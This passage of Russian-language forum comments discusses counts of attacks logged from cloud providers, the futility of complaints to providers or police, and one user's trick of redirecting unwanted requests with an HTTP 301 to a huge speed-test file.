        а каким провайдерам вы пишите? облачным провайдерам ? я фиксирую атаки из облаков -- DigitalOcean,1459

        MS,240

        Google,61

        Ya,58

        Akamai,13


      1. khe404
        13.09.2023 13:40

        С одной стороны логично, зачем реагировать на жалобы людей из интернета?
        В полицию идти тоже особо не с чем. Ну шлет кто то в интернете кому-то сообщения, где тут криминал. Максимум хулиганство, да и то не особо внятное.
        Даже если заявление примут, то доказать факт нарушения сложно и дорого. Может и самому за поклеп наказание прилететь.


        В моем случае помог ответ http сервера:
        HTTP/1.1 301 Moved Permanently
        Location: Ссылка на оооочень большой файл оставленный каким то провайдером в интернете чтобы проверять какая у них хорошая скорость скачивания.